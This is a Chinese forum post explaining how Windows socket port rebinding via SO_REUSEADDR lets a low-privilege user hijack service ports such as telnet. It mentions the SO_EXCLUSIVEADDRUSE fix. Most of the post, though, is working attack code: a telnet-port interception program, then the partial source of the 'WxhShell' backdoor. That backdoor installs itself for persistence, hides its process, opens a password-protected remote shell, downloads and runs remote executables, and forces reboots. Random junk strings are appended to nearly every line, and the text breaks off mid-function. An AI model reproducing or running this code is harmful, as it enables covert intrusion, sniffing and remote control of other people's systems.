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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <IkD=X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LGg x.Z  
Q_|S^hx Q  
  saddr.sin_family = AF_INET; uM!r|X)8  
f!kdcr=/"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iqKfMoy5  
{^O/MMB\\%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SVEA  
}PD(kk6fX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w0%ex#lkm  
]~x/8%e76  
  这意味着什么?意味着可以进行如下的攻击: :bF2b..XOu  
%|6Q7'@p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3'@jRK  
>U Ich  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g:6}zHK  
)^2jsy -/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g<0%-p  
LFM5W&?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )^@V*$D  
%B un@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VqT[ca\  
iW%0pLn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,7$uh):  
kk./-G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3:gO7Uv  
v@1Jh ns  
  #include [67f;?b  
  #include hr"+0KeX  
  #include JRs[%w`kD  
  #include    uC ;PP=z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $,v+i -  
  int main() 91Sb= 9  
  { <u% e*  
  WORD wVersionRequested; .8xacVyK2  
  DWORD ret; Ox1QP2t6Y  
  WSADATA wsaData; -hV KPIb  
  BOOL val; *ww(5 t  
  SOCKADDR_IN saddr; FrM~6A_  
  SOCKADDR_IN scaddr; cx%9UK*c  
  int err; k  5kX  
  SOCKET s; iYs?B0*JWK  
  SOCKET sc; 3\~fe/z'I  
  int caddsize; >bP7}T  
  HANDLE mt; a_MnQ@  
  DWORD tid;   +uXnFf d^  
  wVersionRequested = MAKEWORD( 2, 2 ); "JGig!9  
  err = WSAStartup( wVersionRequested, &wsaData ); B9Tztg  
  if ( err != 0 ) { \B +SzW  
  printf("error!WSAStartup failed!\n"); oa|*-nw  
  return -1; weadY,-H8  
  } |Dpfh  
  saddr.sin_family = AF_INET; otVdx&%]  
   8pt<)Rs}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y-k~ 7{7  
MM$" 6Jor  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0s[3:bZ\Ia  
  saddr.sin_port = htons(23); qCT\rZU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d(tf: @  
  { PS;*N 8  
  printf("error!socket failed!\n"); dV*rnpN  
  return -1; $ aBSr1  
  } m8A1^ R  
  val = TRUE; m|gd9m $,?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JJ06f~Iw[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dp W%LXM_  
  { UC$+&&rO  
  printf("error!setsockopt failed!\n"); n,LKkOG  
  return -1; ]KT,s].  
  } X.5LB!I)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p arG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eV}Tx;1|}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RxG./GY  
nECf2>Yp v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N2Hb19/k  
  { t O;W?g  
  ret=GetLastError(); o fv 1G=P  
  printf("error!bind failed!\n"); PX/0  jv  
  return -1; ?2>v5p  
  } 5!p'n#_  
  listen(s,2); H5t`E^E  
  while(1) I"?&X4%e  
  { >&z+ih  
  caddsize = sizeof(scaddr); (19<8a9G  
  //接受连接请求 u6d~d\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }f*S 9V  
  if(sc!=INVALID_SOCKET) rmJ847%y`  
  { <Wq{ V;$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /hR]aw  
  if(mt==NULL) o:*iT =l  
  { ixpG[8s  
  printf("Thread Creat Failed!\n"); Lxrn#Z eM  
  break; 2 -8:qmP(  
  } 8 z7,W3b  
  } P#oV ^  
  CloseHandle(mt); $o H,:x?}  
  } @b({QM|  
  closesocket(s); z9w.=[Io  
  WSACleanup(); xK'IsMo[  
  return 0; (j"MsCwE  
  }   5aQg^f%\  
  DWORD WINAPI ClientThread(LPVOID lpParam) k]YGD  
  { W}3vY]  
  SOCKET ss = (SOCKET)lpParam; c17==S  
  SOCKET sc; )uWNN"  
  unsigned char buf[4096]; yBKlp08J  
  SOCKADDR_IN saddr; `vBa.)u  
  long num; i|'t!3I^m  
  DWORD val; pSUp"wch  
  DWORD ret; {m GWMv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n/D]r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Cf[nGh|B  
  saddr.sin_family = AF_INET; M lwQ_5O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h]9^bX__Z  
  saddr.sin_port = htons(23); [GM<Wt0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^q2zqC  
  { Fowh3go  
  printf("error!socket failed!\n"); A[a+,TN {  
  return -1; pBLO  
  } ??Ac=K\  
  val = 100; 1^dWmxUZH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;O>fy :$'  
  { 5,Zn$zosJC  
  ret = GetLastError(); WQ`T'k#ESW  
  return -1; i(rY'o2 BN  
  } KR0 x[#.*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Ski5q  
  { L\DaZ(Y  
  ret = GetLastError(); gp2)35  
  return -1; {*Pp^ r  
  } JnJz{(c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KYN{iaj  
  { ="K>yUfcFl  
  printf("error!socket connect failed!\n"); ObzlZP r@  
  closesocket(sc); "<#:\6aym  
  closesocket(ss); Df^S77&c!  
  return -1; xM\ApN~W  
  } K(S/D(\ FL  
  while(1) Eq{TZV  
  {  Pq%cuT%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 { VO4""m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XvY-C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c-d}E!C:  
  num = recv(ss,buf,4096,0); ;wrgpP3  
  if(num>0) Jmx }r,j  
  send(sc,buf,num,0); lX3h'h  
  else if(num==0) |e >-v  
  break; pM3BBF%  
  num = recv(sc,buf,4096,0); 6Tnzg`0I  
  if(num>0) 9v0|lS!-  
  send(ss,buf,num,0); Nig-D>OS  
  else if(num==0) F eLP!oS>  
  break; V ;jz0B  
  } (%}C  
  closesocket(ss); Y2EN!{YU  
  closesocket(sc); @35 shLs  
  return 0 ; Pa<X^&  
  } VWa(@ A  
Y{=@^4|]  
/+msrrpD  
========================================================== |e\%pfZ   
6Y^o8R  
下边附上一个代码,,WXhSHELL {J$aA6t:"T  
$!Tw`O  
========================================================== pJ[Q.QxU  
J7xmf,76w  
#include "stdafx.h" 9K!='u`  
.2xkf@OP  
#include <stdio.h> 2X_ef  
#include <string.h> ZI7<E  
#include <windows.h> )RFeF!("  
#include <winsock2.h> c^y 1s*  
#include <winsvc.h> _rd{cvdR  
#include <urlmon.h> xJCpWU3wM  
xTT>3Fj  
#pragma comment (lib, "Ws2_32.lib") xFZq6si?  
#pragma comment (lib, "urlmon.lib") Rd)QVEk>SD  
UZ#2*PH2E  
#define MAX_USER   100 // 最大客户端连接数 d/1XL[&  
#define BUF_SOCK   200 // sock buffer oWmla*nCKL  
#define KEY_BUFF   255 // 输入 buffer VzesqVx  
+Sfv.6~v  
#define REBOOT     0   // 重启 o6 /?WR9  
#define SHUTDOWN   1   // 关机 Cmj)CJ-  
q@:&^CS  
#define DEF_PORT   5000 // 监听端口 LxT] -  
3nO|A: t  
#define REG_LEN     16   // 注册表键长度 n>WS@b/o  
#define SVC_LEN     80   // NT服务名长度 tF|bxXs Z  
h.*|4;  
// 从dll定义API (agdgy:#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .FUE F)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;/@R{G{+~;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W= !f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rAKd f??  
I1g u<a  
// wxhshell配置信息 N!AFsWV  
struct WSCFG { ;Peyo1  
  int ws_port;         // 监听端口 '&d4xc  
  char ws_passstr[REG_LEN]; // 口令 {\B!Rjt[T  
  int ws_autoins;       // 安装标记, 1=yes 0=no %[J( ,rm  
  char ws_regname[REG_LEN]; // 注册表键名 J5k%  
  char ws_svcname[REG_LEN]; // 服务名 iwbjjQPr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V~;YV]1Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r`2& o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ (,2^T'$J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F}Au'D&n_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @lwqk J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |($pXVLH`  
tz,FK;8  
}; uT1x\Rt|e  
_D~a4tgS  
// default Wxhshell configuration YdFCYSiS  
struct WSCFG wscfg={DEF_PORT, z2V!u\It  
    "xuhuanlingzhe", )7^jq|  
    1, &kG<LGXP#  
    "Wxhshell", c\Dv3bF  
    "Wxhshell", utr_fFu  
            "WxhShell Service", U^xFqJY6  
    "Wrsky Windows CmdShell Service", XL:7$  
    "Please Input Your Password: ", * XJSa  
  1, rhrlEf@  
  "http://www.wrsky.com/wxhshell.exe", ]Uu/1TTf  
  "Wxhshell.exe" |fUSq1//  
    }; DcOLK\  
hXCDlCO  
// 消息定义模块 ;bX{7j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .qZ<ROZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b|NEU-oy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mWh:,[o  
char *msg_ws_ext="\n\rExit."; `JR dOe  
char *msg_ws_end="\n\rQuit."; S'txY\  
char *msg_ws_boot="\n\rReboot..."; R`c5-0A  
char *msg_ws_poff="\n\rShutdown..."; >2a~hW|,  
char *msg_ws_down="\n\rSave to "; Sz =z TPnO  
n#*cVB81  
char *msg_ws_err="\n\rErr!"; f =Nm2(e  
char *msg_ws_ok="\n\rOK!"; T4[eBO  
0PN{ +<? .  
char ExeFile[MAX_PATH]; r* U6govky  
int nUser = 0; Z1Wra-g  
HANDLE handles[MAX_USER]; B4kIcHA  
int OsIsNt; O'k"6sBb  
>_@J&vC  
SERVICE_STATUS       serviceStatus; FW2} 9#R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 99`xY$  
e*tOXXY1  
// 函数声明 r <U }lK  
int Install(void); MStaP;|  
int Uninstall(void); hYLu   
int DownloadFile(char *sURL, SOCKET wsh); ]?^mb n  
int Boot(int flag); ,D8 Tca\v  
void HideProc(void); BEw(SQH  
int GetOsVer(void); ?IK[]=!  
int Wxhshell(SOCKET wsl); aa|xZ  
void TalkWithClient(void *cs); C-8@elZ1  
int CmdShell(SOCKET sock); `!i>fo~  
int StartFromService(void); <*L8kNykK  
int StartWxhshell(LPSTR lpCmdLine); E:2Or~  
=_5-z|<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Mx+t3M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O?@AnkOhn  
s^cHR1^  
// 数据结构和表定义 8qT/1b  
SERVICE_TABLE_ENTRY DispatchTable[] = ;yr 'K  
{ WaYT\CG7y  
{wscfg.ws_svcname, NTServiceMain}, zQ6otDZx  
{NULL, NULL} %NvY~,  
}; E11"uWk`  
CGQ`i  
// 自我安装 % 74}H8q_z  
int Install(void) k3&Wv  
{ ;aSEv"iWX  
  char svExeFile[MAX_PATH]; K#>B'>A\  
  HKEY key; gD-<^Q-  
  strcpy(svExeFile,ExeFile); bS*9eX=K  
>6c{CYuT  
// 如果是win9x系统,修改注册表设为自启动 L!\I>a5C0G  
if(!OsIsNt) { cG.4%Va@s_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #jQITS7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lyP<&<Y5  
  RegCloseKey(key); RJ`F2b sYN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SJ<nAX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0L'h5i>H)  
  RegCloseKey(key); O[!]/qP+.  
  return 0; HJDM\j*5  
    } )gZ yW  
  } ]'hz+V31%  
} zFlW\wc  
else { D_g+O"];P  
[j) :2  
// 如果是NT以上系统,安装为系统服务 -{^Gzui  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vForj*Xo  
if (schSCManager!=0) cY5h6+_  
{ $. Ih-  
  SC_HANDLE schService = CreateService eKt~pzXwm  
  ( U<zOR=_  
  schSCManager, PAJt M  
  wscfg.ws_svcname, rAgb<D@,H  
  wscfg.ws_svcdisp, tks1*I$S<  
  SERVICE_ALL_ACCESS, &4LrV+`$V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Uo# Pe@ieQ  
  SERVICE_AUTO_START, @,$>H 7o  
  SERVICE_ERROR_NORMAL, Esd A %`  
  svExeFile, d4~!d>{n|c  
  NULL, yN9/'c~  
  NULL, Mp}U>+8  
  NULL, +d<o2n4!  
  NULL,  eGjEO&$  
  NULL fnB[b[  
  ); :M3Fq@w=  
  if (schService!=0) F.4xi+S_  
  { C-&\qAo?<:  
  CloseServiceHandle(schService); 04o(05K  
  CloseServiceHandle(schSCManager); *4]}_ .rG#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k*J0K=U|  
  strcat(svExeFile,wscfg.ws_svcname); d-y8c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jx J5F3d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nwf(`=TC  
  RegCloseKey(key); "d% o%  
  return 0; w~Aw?75 t  
    } ) }(Po_  
  } 51xiX90D  
  CloseServiceHandle(schSCManager); w=,bF$:fIW  
} S/V%<<[>p]  
} 1GE[*$vuq  
f<<1.4)oSV  
return 1;  (cx Q<5  
} rytves%;C  
';Y0qitGB  
// 自我卸载 xQ%N% `  
int Uninstall(void) =A{F&:+a]  
{ *|Tx4Qt  
  HKEY key;  Vmt$]/  
P`^nNX]x+,  
if(!OsIsNt) { kZ$2Uss  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ''tCtG" Xi  
  RegDeleteValue(key,wscfg.ws_regname); }"Clv /3_  
  RegCloseKey(key); MaN6bM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s+DOr$\  
  RegDeleteValue(key,wscfg.ws_regname); n&1q*  
  RegCloseKey(key); NYw>Z>TD8c  
  return 0; :<hM@>eFn  
  } #A\@)wJ  
} {\hjKP  
} }20~5!  
else { uVN2}3!)Y  
kntYj}F(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W[/Txc0$  
if (schSCManager!=0) qz95)  
{ 0~4Ww=#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FF#T"y0Y  
  if (schService!=0) k'QI`@l&l  
  { @q]4]U)  
  if(DeleteService(schService)!=0) { nvbzCtC  
  CloseServiceHandle(schService); jl9hFubwW  
  CloseServiceHandle(schSCManager); TXdo,DPv7  
  return 0; {.eo?dQ  
  } {^8?fJ/L  
  CloseServiceHandle(schService); w{mw?0  
  } xu\s2x$  
  CloseServiceHandle(schSCManager); w$iQ,--  
} R#HVrzOO|T  
} xIA]5@;a  
OY Sq)!:  
return 1; KrdEB0qh  
} 5\V""fH  
KT[ZOtu  
// 从指定url下载文件 agt/;>q\~  
int DownloadFile(char *sURL, SOCKET wsh) Hsn'"  
{ C~Hhi-Xl)  
  HRESULT hr; qA0PGo  
char seps[]= "/"; # ~Doz7~  
char *token; GXG 7P,p,  
char *file; hi`[  
char myURL[MAX_PATH]; 0 30LT$&!  
char myFILE[MAX_PATH]; .+A)^A  
__!LTpp  
strcpy(myURL,sURL); pu~b\&^G  
  token=strtok(myURL,seps); ,oykOda:|  
  while(token!=NULL) (@->AJF1\  
  { I3HO><o f  
    file=token; )pSA|Qt N  
  token=strtok(NULL,seps); kM J}sS  
  } $GP66Ev  
60;_^v  
GetCurrentDirectory(MAX_PATH,myFILE); eSQkW  
strcat(myFILE, "\\"); }{y)a<`  
strcat(myFILE, file); EHN(K-  
  send(wsh,myFILE,strlen(myFILE),0); OClG dFJ|  
send(wsh,"...",3,0); oqAO@<dL!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aVCPaYe^  
  if(hr==S_OK) yIhPB8QL  
return 0; Sl/]1[|mb  
else u@1 2:U$  
return 1; 9 ,:#Q<UM  
k@ <dru  
} -L +kt_>  
P -NR]f  
// 系统电源模块 VCfHm"'E8  
int Boot(int flag) -0UR%R7q  
{ >"8;8Ev  
  HANDLE hToken; :s6aFiz  
  TOKEN_PRIVILEGES tkp; A 0v=7 ]  
 9u^M{6  
  if(OsIsNt) { ![;={d0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M6mgJonN|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f"RC(("6W  
    tkp.PrivilegeCount = 1; yX4 Vv{g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 58XZ]Mc0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " i:[|7  
if(flag==REBOOT) { q>Di|5<y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3m= _a  
  return 0; l]4=W<N  
} !NH(EWER  
else { WG A1XQ{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Da615d  
  return 0; /v^ '5j1o  
} h;,1BpbM  
  } f-3CDUQ`  
  else { D%~tU70a  
if(flag==REBOOT) { 7mq&]4-G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m^!:n$  
  return 0; 4j~q,# $LW  
} ~n- Px)  
else { XVkw/ l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tPl 4'tW_  
  return 0; w]t'2p-'  
} 23P&n(.  
} +l^tT&s;f  
5CZyA`3V^5  
return 1; <Xl#}6II  
} K fD. J)  
XHekz6_  
// win9x进程隐藏模块 /i3 JP}  
void HideProc(void) )O"E#%  
{ Qn7T{ BW  
5]>*0#C S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a;t}'GQGk  
  if ( hKernel != NULL ) ._^}M<o L  
  { 0W(mx-[H/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3("C'(W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5afD;0D5TI  
    FreeLibrary(hKernel); Sp492W+  
  } Xd=KBB[r?  
9T;4aP>6j#  
return; lhKn&U  
} ?D6uviQg  
6LBdTnzUd  
// 获取操作系统版本 jd](m:eG  
int GetOsVer(void) \= v.$u"c  
{ iqvLu{  
  OSVERSIONINFO winfo; S[1<Qrv]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hE|P|0U,n  
  GetVersionEx(&winfo); 4T31<wk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gom!dB0J  
  return 1; X>8,C^~$1  
  else g3z/yj  
  return 0; y6nP=g|')>  
} G9f6'5 O  
Ea&|kO|  
// 客户端句柄模块 A#. %7S  
int Wxhshell(SOCKET wsl) xIGq+yd(  
{ ~ubvdQEW  
  SOCKET wsh; 1Ng+mT  
  struct sockaddr_in client; >\d&LLAe  
  DWORD myID; oT-gZedW(  
BB6[(Z  
  while(nUser<MAX_USER) ^O18\a  
{ I.n,TJoz4J  
  int nSize=sizeof(client); xvV";o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {4D`VfX_  
  if(wsh==INVALID_SOCKET) return 1; i)?7+<X  
=#2c r:1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;cXw;$&D  
if(handles[nUser]==0) Kcm+%p^  
  closesocket(wsh); 6nZ]y&$G-k  
else Ipk;Nq  
  nUser++; 0G+Q^]0  
  } nF@**,C Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @|\9<S  
R9U{r.AA  
  return 0; 3>KEl^1DB  
} )i~AXBt}  
iApq!u,  
// 关闭 socket & Q3Fgj  
void CloseIt(SOCKET wsh) lI<jYd 0fZ  
{ GGp.u@\r  
closesocket(wsh); uzBQK  
nUser--; w}ji]V}  
ExitThread(0); Zz0bd473k?  
} FJ_7<4ET  
<y@v v  
// 客户端请求句柄 1Cw]~jh  
void TalkWithClient(void *cs) Y;/@[AwF  
{ aUaeK(x:H  
6kYluV+j  
  SOCKET wsh=(SOCKET)cs; X`.##S KC  
  char pwd[SVC_LEN]; $-}&RW9  
  char cmd[KEY_BUFF]; w:t~M[kTW  
char chr[1]; $*ff]>#  
int i,j; DZSS  
:C:6bDQ  
  while (nUser < MAX_USER) { %L=e%E=m  
*'>_XX  
if(wscfg.ws_passstr) { xDo0bR(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ev4[4T-( @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GC')50T J  
  //ZeroMemory(pwd,KEY_BUFF); 2? qC8eC  
      i=0; $aV62uNf  
  while(i<SVC_LEN) { V|8'3=Z=  
rYb5#aT[  
  // 设置超时 |J-X3`^\H  
  fd_set FdRead; .9bi%=hP  
  struct timeval TimeOut; Y4rxnXGw  
  FD_ZERO(&FdRead); vGkem J^/  
  FD_SET(wsh,&FdRead); w:5?ofC  
  TimeOut.tv_sec=8; aJ'Fn  
  TimeOut.tv_usec=0; 32wtN8kx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #AJW-+1g.=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DpRMXo[  
W_W!v&@E=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NiZfaC6V  
  pwd=chr[0]; Rl Oy,/-<  
  if(chr[0]==0xd || chr[0]==0xa) { 2:38CdkYp  
  pwd=0; '(.5!7?Qc  
  break; h.edb6  
  } TTXF r  
  i++; w?ugZYwX*  
    } NM{)liP ;8  
_4by3?<c  
  // 如果是非法用户,关闭 socket J :O!4gI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cYA:k  
} e$[O J<t  
, Y:oTo=~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Kv6!ib6Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +F)EGB%LXs  
GW A T0  
while(1) { Ui'v ' $  
t]h_w7!U  
  ZeroMemory(cmd,KEY_BUFF); 2 R\K!e  
5i[O\@]5  
      // 自动支持客户端 telnet标准   &W45.2  
  j=0; p:~#(/GWf  
  while(j<KEY_BUFF) { ~ P\4 N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Psg53N  
  cmd[j]=chr[0]; ~su>RolaX  
  if(chr[0]==0xa || chr[0]==0xd) { }>{R<[I!G  
  cmd[j]=0; w){B$X  
  break; xrf|c  
  } [U&k"s?  
  j++; w|f+OlPXq  
    } "S;4hO  
j9fBl:Fr  
  // 下载文件 2xNR=u`  
  if(strstr(cmd,"http://")) { 7nB4(A2[S4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b 7sfr!t_d  
  if(DownloadFile(cmd,wsh)) 1S?~ c25=h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *y4DK6OFe  
  else xm{?h,U,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P.Nt jz/B  
  } 5gf ~/Zr  
  else { |Yli~Qx  
C?H~L  
    switch(cmd[0]) { TCp9C1Q4  
  <Y`(J#  
  // 帮助 A|"T8KSMB  
  case '?': { v?He]e'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jkk%zu  
    break; zZMKgFR@  
  } (dg,w*t'  
  // 安装 <WUgH6"  
  case 'i': { PhAfEsD  
    if(Install()) jRsl/dmy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tb] 7# v  
    else ;mpYcpI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a4s't% P  
    break; -53c0g@X  
    } =X'[r  
  // 卸载 ~i1 jh:,  
  case 'r': { #ft9ms#N  
    if(Uninstall()) Qb {[xmc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G8}owszT  
    else - +a,Ej  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQO4IT   
    break; "~VKUvDu  
    } T={!/y+  
  // 显示 wxhshell 所在路径 k~ )CJ6}  
  case 'p': { !60U^\  
    char svExeFile[MAX_PATH]; ndFVP;q  
    strcpy(svExeFile,"\n\r"); "M:ui0YP  
      strcat(svExeFile,ExeFile); dQ*^WNUB  
        send(wsh,svExeFile,strlen(svExeFile),0); .5\@G b.8  
    break; X+ Sqw5rH  
    } (VO'Kd  
  // 重启 Z(q]rX5"  
  case 'b': { ]aIHd]B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nReIi;pi  
    if(Boot(REBOOT)) ! VT$U6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]Mx<7;\.  
    else { >$ZhhM/} J  
    closesocket(wsh); @G;9eh0$  
    ExitThread(0); +s<6eHpm  
    } {>km]CG  
    break; reR@@O  
    } @v`.^L{P  
  // 关机 ViW2q"4=  
  case 'd': { ]U#of O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2|"D\N  
    if(Boot(SHUTDOWN)) /[?} LrDO  
